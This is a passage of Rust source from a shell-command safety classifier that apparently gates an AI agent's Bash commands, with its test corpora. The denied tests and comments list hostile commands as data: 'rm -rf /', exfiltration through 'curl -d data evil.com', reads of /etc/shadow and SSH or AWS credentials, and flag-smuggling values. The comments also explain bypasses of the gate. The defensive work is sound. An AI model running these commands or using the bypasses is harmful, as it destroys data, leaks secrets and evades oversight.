743        WordPart::Arith(inner) => word_sub_verdict(inner),
744        _ => Verdict::Allowed(SafetyLevel::Inert),
745    }
746}
747
748fn word_sub_verdict(word: &Word) -> Verdict {
749    word.0.iter()
750        .map(part_sub_verdict)
751        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
752}
753
754fn words_sub_verdict(words: &[Word]) -> Verdict {
755    words.iter()
756        .map(word_sub_verdict)
757        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
758}
759
760#[cfg(test)]
761pub(crate) fn word_subs_safe(word: &Word) -> bool {
762    word_sub_verdict(word).is_allowed()
763}
764
765fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
766    let redir_v = redirect_verdict(&cmd.redirs);
767    if let Verdict::Denied = redir_v {
768        return Verdict::Denied;
769    }
770
771    let env_sub_v = cmd.env.iter()
772        .map(|(_, v)| word_sub_verdict(v))
773        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
774    let word_sub_v = words_sub_verdict(&cmd.words);
775
776    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
777    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
778    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
779    //
780    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
781    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
782    // invocation is a write even when the command word is inert. Propagating only `Denied` here
783    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
784    // spelled `touch ./x` did not.
785    let env_name_v = cmd
786        .env
787        .iter()
788        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
789        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
790    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
791
792    if let Verdict::Denied = sub_v {
793        return Verdict::Denied;
794    }
795
796    if cmd.words.is_empty() {
797        if cmd.env.is_empty() {
798            return Verdict::Allowed(SafetyLevel::Inert);
799        }
800        return sub_v.combine(redir_v);
801    }
802
803    let name = cmd.words[0].eval();
804
805    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
806    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
807    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
808    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
809    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
810    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
811    // run the real `ls` for the rebound name, a bypass.
812    if let Some(body) = lookup_function(&name) {
813        let Some(_resolving) = begin_resolving(&name) else {
814            return Verdict::Denied;
815        };
816        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
817            .iter()
818            .enumerate()
819            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
820            .collect();
821        return sub_v.combine(script_verdict(&body)).combine(redir_v);
822    }
823
824    if name == "eval" {
825        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
826    }
827
828    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
829    // would run is classified — a braced word must not hide a system path from the gate.
830    let tokens: Vec<Token> =
831        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
832    if tokens.is_empty() {
833        return Verdict::Allowed(SafetyLevel::Inert);
834    }
835    if smuggles_a_flag(cmd) {
836        return Verdict::Denied;
837    }
838
839    let cmd_v = leaf_verdict(&tokens);
840    sub_v.combine(cmd_v).combine(redir_v)
841}
842
843/// Whether an operand hides a FLAG behind an unquoted expansion.
844///
845/// The word-splitting problem again, on the dimension the locus gate cannot see. One CST word
846/// becomes several arguments at run time, and when a piece starts with `-` the command's flag
847/// allowlist was simply never shown it:
848///
849/// ```text
850/// VAR="--exec rm"; fd pat $VAR        ran `rm` on every match
851/// VAR="-exec rm {} ;"; find . $VAR    deleted the tree
852/// ```
853///
854/// Splitting for LOCUS (see `locus::classify_local`) does not help here, because the danger is not
855/// where a path points — it is a capability the grammar would have refused outright.
856///
857/// This refuses rather than re-tokenizing. Re-tokenizing would be more precise, and the machinery
858/// is close at hand (`Word::expand` already turns one word into many for brace expansion) — but a
859/// bound value carries SEPARATE read and write representatives for loop variables, so feeding it
860/// back into tokenization would have to pick a face before the face is known. Refusing costs a
861/// prompt on `VAR="-rf ./sub"; rm $VAR`, which is a rare way to write a command; see TODO.md.
862///
863/// Only UNQUOTED expansions split, so `cat "$VAR"` with a spacey filename is untouched — a quoted
864/// expansion is one word to the shell too.
865fn smuggles_a_flag(cmd: &SimpleCmd) -> bool {
866    cmd.words.iter().skip(1).any(|w| {
867        // A top-level `Lit` is the unquoted case; a `DQuote` part is not split by the shell.
868        w.0.iter().any(|part| {
869            let WordPart::Lit(raw) = part else { return false };
870            if !raw.contains('$') {
871                return false;
872            }
873            let expanded = crate::pathctx::expand_vars(raw, false);
874            expanded.split([' ', '\t', '\n']).skip(1).any(|piece| piece.starts_with('-'))
875                || (expanded.split([' ', '\t', '\n']).count() > 1
876                    && expanded.starts_with('-'))
877        })
878    })
879}
880
881/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
882/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
883/// no opt-out — the engine is the default and only path.
884fn leaf_verdict(tokens: &[Token]) -> Verdict {
885    let legacy = handlers::dispatch(tokens);
886    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
887}
888
889fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
890    if cmd.words.len() < 2 {
891        return Verdict::Denied;
892    }
893    for arg in &cmd.words[1..] {
894        if !arg_is_eval_safe(arg) {
895            return Verdict::Denied;
896        }
897    }
898    Verdict::Allowed(SafetyLevel::Inert)
899}
900
901fn arg_is_eval_safe(word: &Word) -> bool {
902    let mut found_safe = false;
903    for part in &word.0 {
904        match part {
905            WordPart::Lit(s) | WordPart::SQuote(s) => {
906                if !s.chars().all(char::is_whitespace) {
907                    return false;
908                }
909            }
910            WordPart::Escape(c) => {
911                if !c.is_whitespace() {
912                    return false;
913                }
914            }
915            WordPart::CmdSub(script) => {
916                if !script_yields_eval_safe(script) {
917                    return false;
918                }
919                found_safe = true;
920            }
921            WordPart::Backtick(raw) => {
922                let Some(script) = parse(raw) else {
923                    return false;
924                };
925                if !script_yields_eval_safe(&script) {
926                    return false;
927                }
928                found_safe = true;
929            }
930            WordPart::DQuote(inner) => {
931                if !arg_is_eval_safe(inner) {
932                    return false;
933                }
934                if has_substitution(inner) {
935                    found_safe = true;
936                }
937            }
938            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
939        }
940    }
941    found_safe
942}
943
944fn script_yields_eval_safe(script: &Script) -> bool {
945    if script.0.len() != 1 {
946        return false;
947    }
948    let stmt = &script.0[0];
949    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
950        return false;
951    }
952    let pipeline = &stmt.pipeline;
953    if pipeline.bang || pipeline.commands.len() != 1 {
954        return false;
955    }
956    let Cmd::Simple(s) = &pipeline.commands[0] else {
957        return false;
958    };
959    if !s.env.is_empty() {
960        return false;
961    }
962    // A redirect inside the substitution is allowed only if it's inert:
963    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
964    // A redirect that writes a real file is SafeWrite, not inert, so
965    // `mise activate bash > evil` is rejected — eval-safe must not gain a
966    // file-write side effect, and diverting stdout to a file is pointless here.
967    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
968        return false;
969    }
970    for w in &s.words {
971        if !word_is_plain_literal(w) {
972            return false;
973        }
974    }
975    let tokens: Vec<Token> =
976        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
977    if tokens.is_empty() {
978        return false;
979    }
980    crate::registry::is_eval_safe_invocation(&tokens)
981}
982
983/// True iff every character of `word` is drawn from the bare-literal
984/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
985/// matching this shape consist entirely of identifier-style or
986/// path-style tokens that the shell will pass through to the
987/// substituted command unchanged at runtime.
988///
989/// Required for words inside eval-safe substitutions because the
990/// "stdout is shell-init code" trust depends on the contributor having
991/// vetted what gets passed to the tool. Restricting the alphabet to
992/// chars with no shell-expansion semantics keeps the substituted
993/// invocation static across parse-time and runtime — what you see in
994/// the source is what the tool receives.
995fn word_is_plain_literal(word: &Word) -> bool {
996    word.0.iter().all(part_is_plain_literal)
997}
998
999fn part_is_plain_literal(part: &WordPart) -> bool {
1000    match part {
1001        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
1002        WordPart::Escape(c) => is_bare_literal_char(*c),
1003        WordPart::DQuote(inner) => word_is_plain_literal(inner),
1004        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
1005    }
1006}
1007
1008/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
1009/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
1010/// and the long-flag value form (`=`). New chars require an explicit
1011/// eval-safe use case — add by extending this match, never by
1012/// excluding individual hostile chars.
1013fn is_bare_literal_char(c: char) -> bool {
1014    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
1015}
1016
1017/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
1018/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
1019///
1020/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
1021/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
1022/// that second copy was wrong in BOTH directions:
1023///
1024/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
1025///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
1026///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
1027/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
1028///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
1029///
1030/// One model, one answer. A grant covers the command; the redirect is still gated by where it
1031/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
1032pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
1033    redirect_verdict(redirs).is_allowed()
1034}
1035
1036/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
1037/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
1038/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
1039/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
1040/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
1041/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
1042fn is_safe_write_target(path: &str) -> bool {
1043    crate::engine::resolve::write_target_verdict(path).is_allowed()
1044}
1045
1046/// The verdict for a redirect that OPENS `target` for writing.
1047fn write_face(target: &Word) -> Verdict {
1048    let t = target.eval();
1049    if t == "/dev/null" {
1050        // Inert: no side effect, no promotion.
1051        Verdict::Allowed(SafetyLevel::Inert)
1052    } else if is_safe_write_target(&t) {
1053        Verdict::Allowed(SafetyLevel::SafeWrite)
1054    } else {
1055        Verdict::Denied
1056    }
1057}
1058
1059/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
1060/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
1061/// substitution-derived source names an unknowable file → fail-closed to Denied.
1062fn read_face(target: &Word) -> Verdict {
1063    let t = target.eval();
1064    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
1065    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
1066    // locus, while an undeclared one still fail-closes on its opaque marker.
1067    if is_opaque_value(&t) {
1068        Verdict::Denied
1069    } else {
1070        crate::engine::resolve::read_content_verdict(&t)
1071    }
1072}
1073
1074pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
1075    let mut level = Verdict::Allowed(SafetyLevel::Inert);
1076    for r in redirs {
1077        match r {
1078            Redir::Write { target, .. } => {
1079                level = level.combine(word_sub_verdict(target));
1080                level = level.combine(write_face(target));
1081            }
1082            Redir::Read { target, .. } => {
1083                level = level.combine(word_sub_verdict(target));
1084                level = level.combine(read_face(target));
1085            }
1086            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
1087            // the other face through: the write gate alone misses reading a secret, and the read
1088            // gate alone misses overwriting a file that is merely readable.
1089            Redir::ReadWrite { target, .. } => {
1090                level = level.combine(word_sub_verdict(target));
1091                level = level.combine(write_face(target));
1092                level = level.combine(read_face(target));
1093            }
1094            Redir::HereStr(word) => {
1095                level = level.combine(word_sub_verdict(word));
1096            }
1097            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
1098            // expands the body, so a substitution in it runs and is classified exactly like one in
1099            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
1100            Redir::HereDoc { body, .. } => {
1101                level = level.combine(word_sub_verdict(body));
1102            }
1103            Redir::DupFd { .. } => {}
1104        }
1105    }
1106    level
1107}
1108
1109fn has_substitution(word: &Word) -> bool {
1110    word.0.iter().any(|p| match p {
1111        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
1112        WordPart::DQuote(inner) => has_substitution(inner),
1113        _ => false,
1114    })
1115}
1116
1117#[cfg(test)]
1118mod tests {
1119    use super::*;
1120
1121    fn check(cmd: &str) -> bool {
1122        is_safe_command(cmd)
1123    }
1124
1125    #[test]
1126    fn loop_variable_inherits_the_list_locus() {
1127        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
1128        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
1129        for cmd in [
1130            "for f in *.txt; do cat $f; done",
1131            "for f in *.txt; do rm $f; done",
1132            "for f in src/*.rs; do grep foo $f; done",
1133            "for f in *.log; do sed -i s/a/b/ $f; done",
1134            "for f in a b c; do cat $f.bak; done",
1135            "for x in 1 2 3; do rm $x; done",
1136            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
1137        ] {
1138            assert!(check(cmd), "worktree loop should allow: {cmd}");
1139        }
1140        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
1141        for cmd in [
1142            "for f in /etc/*; do cat $f; done",
1143            "for f in /etc/*.conf; do rm $f; done",
1144            "for f in ~/.ssh/*; do cat $f; done",
1145            "for f in $LIST; do rm $f; done",
1146            "for f in $(find / -name x); do rm -rf $f; done",
1147            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
1148            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
1149            // read-worst ≠ write-worst: reading must worst-case the credential store even though
1150            // the write-worst item is /etc/hosts — a single representative would be unsound.
1151            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
1152        ] {
1153            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1154        }
1155    }
1156
1157    safe! {
1158        grep_foo: "grep foo file.txt",
1159        jq_key: "jq '.key' file.json",
1160        base64_d: "base64 -d",
1161        ls_la: "ls -la",
1162        wc_l: "wc -l file.txt",
1163        ps_aux: "ps aux",
1164        echo_hello: "echo hello",
1165        cat_file: "cat file.txt",
1166
1167        version_go: "go --version",
1168        version_cargo: "cargo --version",
1169        version_cargo_redirect: "cargo --version 2>&1",
1170        help_cargo: "cargo --help",
1171        help_cargo_build: "cargo build --help",
1172
1173        dev_null_echo: "echo hello > /dev/null",
1174        dev_null_stderr: "echo hello 2> /dev/null",
1175        dev_null_append: "echo hello >> /dev/null",
1176        dev_null_git_log: "git log > /dev/null 2>&1",
1177        fd_redirect_ls: "ls 2>&1",
1178        stdin_dev_null: "git log < /dev/null",
1179
1180        env_prefix: "FOO='bar baz' ls -la",
1181        env_prefix_dq: "FOO=\"bar baz\" ls -la",
1182        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1183
1184        subst_echo_ls: "echo $(ls)",
1185        subst_ls_pwd: "ls `pwd`",
1186        subst_nested: "echo $(echo $(ls))",
1187        subst_quoted: "echo \"$(ls)\"",
1188        assign_subst_ls: "out=$(ls)",
1189        assign_subst_git: "out=$(git status)",
1190        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1191        assign_subst_backtick: "out=`ls`",
1192
1193        assign_bare_lit: "foo=bar",
1194        assign_bare_int: "x=1",
1195        assign_bare_empty: "x=",
1196        assign_bare_dq: "x=\"foo bar\"",
1197        assign_bare_sq: "x='foo bar'",
1198        assign_bare_param: "rc=$?",
1199        assign_bare_var: "x=$y",
1200        assign_bare_dollar_var_braced: "x=${y}",
1201        assign_bare_path: "PATH=/foo",
1202        assign_bare_multiple: "a=1 b=2 c=3",
1203        assign_bare_arith: "x=$((1 + 2))",
1204        assign_in_for_body: "for i in 1 2; do x=1; done",
1205        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1206        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1207        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1208        assign_then_use: "x=1; echo $x",
1209        assign_chained_with_safe: "x=1 && ls",
1210        assign_subshell: "(x=1)",
1211        assign_in_subshell_with_cmd: "(x=1; ls)",
1212
1213        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1214        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1215        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1216        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1217        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1218        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1219        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1220        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1221        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1222
1223        case_single_arm: "case x in x) echo a;; esac",
1224        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1225        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1226        case_last_arm_without_terminator: "case x in x) echo a; esac",
1227        case_empty_body: "case x in x) ;; esac",
1228        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1229        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1230        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1231        clobber_redirect: "ls >| out.txt",
1232        clobber_redirect_fd: "ls 1>| out.txt",
1233        readwrite_redirect: "ls <> f.txt",
1234        readwrite_redirect_devnull: "ls <> /dev/null",
1235
1236        subshell_echo: "(echo hello)",
1237        subshell_ls: "(ls)",
1238        subshell_chain: "(ls && echo done)",
1239        subshell_pipe: "(ls | grep foo)",
1240        subshell_nested: "((echo hello))",
1241        subshell_for: "(for x in 1 2; do echo $x; done)",
1242
1243        pipe_grep_head: "grep foo file.txt | head -5",
1244        pipe_cat_sort_uniq: "cat file | sort | uniq",
1245        chain_ls_echo: "ls && echo done",
1246        semicolon_ls_echo: "ls; echo done",
1247        bg_ls_echo: "ls & echo done",
1248        newline_echo_echo: "echo foo\necho bar",
1249
1250        stdin_read_from_path: "wc -l < /tmp/foo.log",
1251        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1252        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1253
1254        here_string_grep: "grep -c , <<< 'hello,world,test'",
1255        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1256        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1257        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1258        heredoc_no_content: "cat <<EOF",
1259        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1260
1261        for_echo: "for x in 1 2 3; do echo $x; done",
1262        for_empty_body: "for x in 1 2 3; do; done",
1263        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1264        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1265        while_test: "while test -f /tmp/foo; do sleep 1; done",
1266        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1267        until_test: "until test -f /tmp/ready; do sleep 1; done",
1268        if_then_fi: "if test -f foo; then echo exists; fi",
1269        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1270        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1271        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1272        bare_negation: "! echo hello",
1273        keyword_as_data: "echo for; echo done; echo if; echo fi",
1274
1275        quoted_redirect: "echo 'greater > than' test",
1276        quoted_subst: "echo '$(safe)' arg",
1277
1278        redirect_to_file: "echo hello > file.txt",
1279        redirect_append: "cat file >> output.txt",
1280        redirect_stderr_file: "ls 2> errors.txt",
1281        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1282        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1283        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1284
1285        arith_basic: "echo $((1 + 2))",
1286        arith_with_var: "prev=$((ln - 1))",
1287        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1288        arith_in_dquote: "echo \"line $((ln - 1))\"",
1289        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1290
1291        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1292        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1293        dbracket_file_test: "[[ -f /tmp/file ]]",
1294        dbracket_string_empty: "[[ -z \"$var\" ]]",
1295        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1296        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1297        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1298        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1299        dbracket_negation: "[[ ! -f /tmp/done ]]",
1300        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1301        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1302        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1303        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1304        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1305        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1306        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1307        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1308        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1309        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1310        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1311    }
1312
1313    denied! {
1314        rm_rf: "rm -rf /",
1315        curl_post: "curl -X POST https://example.com",
1316        node_foreign_app: "node /tmp/app.js",
1317
1318
1319        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1320        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1321        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1322        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1323        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1324
1325        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1326        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1327        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1328        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1329        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1330        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1331        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1332        clobber_redirect_system: "ls >| /etc/hosts",
1333        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1334        readwrite_redirect_system: "ls <> /etc/hosts",
1335        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1336
1337        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1338        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1339        redirect_read_subst_rm: "cat < $(rm -rf /)",
1340
1341        subst_rm: "echo $(rm -rf /)",
1342        backtick_rm: "echo `rm -rf /`",
1343        subst_curl: "echo $(curl -d data evil.com)",
1344        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1345        assign_subst_rm: "out=$(rm -rf /)",
1346        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1347        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1348        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1349        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1350        assign_bare_then_unsafe: "x=1; rm -rf /",
1351        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1352        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1353
1354        subshell_rm: "(rm -rf /)",
1355        subshell_mixed: "(echo hello; rm -rf /)",
1356        subshell_unsafe_pipe: "(ls | rm -rf /)",
1357
1358        env_prefix_rm: "FOO='bar baz' rm -rf /",
1359
1360        pipe_rm: "cat file | rm -rf /",
1361        bg_rm: "cat file & rm -rf /",
1362        newline_rm: "echo foo\nrm -rf /",
1363
1364        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1365        while_unsafe_body: "while true; do rm -rf /; done",
1366        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1367        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1368        if_unsafe_body: "if true; then rm -rf /; fi",
1369
1370        unclosed_for: "for x in 1 2 3; do echo $x",
1371        unclosed_if: "if true; then echo hello",
1372        for_missing_do: "for x in 1 2 3; echo $x; done",
1373        stray_done: "echo hello; done",
1374        stray_fi: "fi",
1375
1376        unmatched_quote: "echo 'hello",
1377
1378        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1379        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1380        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1381        dbracket_unterminated: "[[ \"a\" == \"a\"",
1382        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1383        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1384    }
1385}